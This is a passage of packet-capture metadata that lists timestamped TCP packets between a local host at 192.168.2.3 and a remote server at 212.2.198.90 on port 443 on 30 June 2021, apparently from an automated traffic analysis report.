Jun 30, 2021 20:06:08.569993973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570008993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570027113 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570030928 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570044994 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570055962 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570059061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570072889 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570092916 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570092916 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570105076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570125103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570128918 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570144892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570157051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570158005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570175886 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570194960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570197105 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570213079 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570224047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570230961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570244074 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570261002 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570261955 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570275068 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570286989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570301056 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570305109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570317984 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570326090 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570329905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570347071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570364952 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570369005 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570389032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570395947 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570405960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570417881 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570421934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570439100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570456028 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570465088 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570472956 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570487976 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570494890 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570504904 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570523024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570529938 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570540905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570554018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570558071 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570575953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570585012 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570590019 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570605040 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570611000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570628881 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570643902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570650101 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570667982 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570684910 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570684910 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570707083 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570714951 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570727110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570739031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570745945 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570765018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570775032 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570781946 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570799112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570816040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570822954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570832968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570846081 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570853949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570875883 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570884943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570899010 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570913076 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570921898 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570929050 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570945024 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570960045 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.570962906 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.570981979 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571000099 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571008921 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571017027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571036100 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571038961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571048975 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571058989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571077108 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571088076 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571095943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571135998 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571151018 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571154118 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571172953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571191072 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571194887 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571213961 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571213961 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571232080 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571242094 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571249962 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571265936 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571266890 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571286917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571305037 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571310043 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571329117 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571336031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571347952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571363926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571369886 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571379900 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571396112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571408987 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571413040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571429968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571438074 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571450949 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571464062 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571470022 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571497917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571500063 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571516037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571535110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571537018 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571552992 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571562052 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571571112 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571588993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571599960 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571605921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571624041 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571643114 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571644068 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571669102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571677923 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571691036 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571707964 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571717978 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571734905 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571734905 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571753025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571762085 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571773052 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571790934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571804047 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571810007 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571826935 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571830988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571842909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571855068 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571860075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571877003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571888924 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571892977 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571913958 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571926117 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571932077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571948051 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571959972 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571964025 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571980000 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.571993113 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.571995020 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572011948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572026014 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572026968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572046995 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572051048 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572063923 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572077036 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572081089 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572098970 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572115898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572123051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572132111 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572149038 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572160006 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572165012 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572185040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572191954 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572201967 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572213888 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572217941 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572235107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572251081 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572252989 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572271109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572288990 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572289944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572308064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572319031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572328091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572341919 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572341919 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572359085 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572371960 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572385073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572387934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572401047 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572416067 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572424889 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572429895 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572448015 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572454929 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572463989 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572477102 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572480917 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572499037 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572519064 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572519064 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572539091 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572556973 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572557926 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572576046 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572586060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572592974 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572611094 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572630882 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572638988 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572649002 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572669029 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572684050 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572686911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572704077 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572721004 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572722912 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572732925 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572755098 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572758913 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572773933 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572782993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572791100 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572805882 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572808981 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572825909 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572843075 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572843075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572860003 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572877884 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572877884 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572897911 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572911978 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572918892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572931051 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572936058 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572953939 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572966099 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.572974920 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.572993040 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573008060 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573009968 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573025942 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573040009 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573051929 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573054075 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573074102 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573085070 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573098898 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573107958 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573112011 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573129892 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573139906 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573147058 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573168039 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573168993 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573188066 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573205948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573206902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573223114 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573239088 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573251963 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573256016 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573273897 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573282003 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573290110 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573307991 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573312044 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573329926 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573347092 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573349953 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573370934 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573381901 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573389053 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573405027 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573405981 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573416948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573430061 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573447943 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573447943 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573461056 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573479891 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573487997 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573496103 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573513031 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573513985 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573530912 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573549032 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573560953 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573568106 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573579073 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573585987 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573604107 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573621035 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573621035 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573641062 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573657990 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573669910 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573676109 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573694944 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573709011 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573717117 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573735952 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573740005 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573753119 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573765993 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573767900 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573782921 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573802948 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573803902 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573822975 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573839903 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573848009 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573858023 CEST	443	49720	212.2.198.90	192.168.2.3
Jun 30, 2021 20:06:08.573872089 CEST	49720	443	192.168.2.3	212.2.198.90
Jun 30, 2021 20:06:08.573872089 CEST	443	49720	212.2.198.90	192.168.2.3
